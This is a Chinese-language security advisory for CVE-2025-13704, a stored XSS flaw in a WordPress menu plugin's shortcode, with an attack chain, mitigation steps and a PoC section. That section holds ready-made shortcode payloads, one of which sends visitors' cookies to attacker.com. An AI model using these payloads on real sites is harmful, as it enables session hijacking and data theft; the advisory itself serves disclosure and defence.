IPBUF安全漏洞报告
English
CVE-2025-13704 CVSS 6.4 中危

CVE-2025-13704 WordPress Autogen Headers Menu插件存储型XSS漏洞

披露日期: 2026-01-09

漏洞信息

漏洞编号
CVE-2025-13704
漏洞类型
存储型XSS
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Autogen Headers Menu plugin for WordPress

相关标签

存储型XSSWordPress插件漏洞CVE-2025-13704Autogen Headers Menu短代码注入CVSS 6.4中危漏洞Web安全Cross-Site Scripting

漏洞概述

CVE-2025-13704是WordPress的Autogen Headers Menu插件中存在的一个存储型跨站脚本(XSS)漏洞。该漏洞在1.0.1及之前所有版本中均受影响,源于插件的'autogen_menu'短代码中的'head_class'参数对用户输入缺乏充分的输入清理和输出转义。攻击者可以利用此漏洞注入任意Web脚本,由于是存储型XSS,恶意脚本会被永久保存在受影响的页面上。所有访问这些被注入页面的用户都会触发执行攻击者植入的JavaScript代码,可能导致会话劫持、敏感信息窃取或进一步的恶意操作。该漏洞需要认证用户具备Contributor级别或更高权限即可利用。

技术细节

该漏洞的根本原因在于Autogen Headers Menu插件在处理短代码参数时未对'head_class'参数进行适当的输入验证和输出编码。当用户提交包含恶意JavaScript代码的'head_class'参数值时,这些未经处理的代码会被直接存储在WordPress数据库中。当其他用户访问包含该短代码的页面时,服务器会从数据库中取出未转义的数据并嵌入到HTML响应中,浏览器将其作为可执行脚本处理。攻击者只需创建一个包含恶意payload的短代码帖子或页面,如[autogen_menu head_class='" onmouseover="alert(1)" x="'],即可实现持久性攻击。由于该插件可能出现在网站多个页面,攻击者可以扩大攻击影响范围。修复方案是在输出'head_class'参数时使用适当的HTML转义函数(如esc_attr()),并在输入验证时使用白名单机制。

攻击链分析

STEP 1
信息收集
攻击者识别目标网站使用的WordPress版本及Autogen Headers Menu插件版本(≤1.0.1)
STEP 2
权限获取
攻击者获取WordPress Contributor级别账户或更高权限账户的凭据
STEP 3
恶意载荷注入
攻击者创建或编辑帖子/页面,插入包含XSS payload的autogen_menu短代码,使用head_class参数注入恶意脚本
STEP 4
数据持久化
恶意脚本代码被存储在WordPress数据库中,作为帖子内容的一部分永久保存
STEP 5
触发执行
当普通用户访问包含该短代码的页面时,服务器从数据库取出未转义的head_class参数值并输出到HTML页面
STEP 6
攻击成功
用户浏览器将恶意代码作为合法脚本执行,导致Cookie会话被劫持、敏感信息泄露或进行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- WordPress Autogen Headers Menu - Stored XSS PoC --> <!-- Required: Contributor-level access or higher --> <!-- PoC 1: Basic XSS via shortcode --> [autogen_menu head_class='"><script>alert(document.cookie)</script>'] <!-- PoC 2: Event handler based XSS --> [autogen_menu head_class='" onmouseover="alert(String.fromCharCode(88,83,83))" style="background:red" x="'] <!-- PoC 3: img onerror XSS --> [autogen_menu head_class='"><img src=x onerror=fetch("https://attacker.com/steal?c="+document.cookie)>"] <!-- PoC 4: Stored DOM-based XSS --> [autogen_menu head_class='</script><script>fetch("/wp-admin/admin-ajax.php?action=update&option=blogname=<img src=x onerror=alert(document.domain)>")</script>']

影响范围

Autogen Headers Menu plugin <= 1.0.1

防御指南

临时缓解措施
如果无法立即更新插件,可采取以下临时措施:1)临时禁用Autogen Headers Menu插件;2)限制新用户注册为Contributor或Author角色;3)审查现有帖子内容,查找并移除包含可疑autogen_menu短代码的内容;4)部署Content Security Policy(CSP)响应头限制内联脚本执行;5)使用WordPress安全插件(如Wordfence)进行实时威胁检测。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表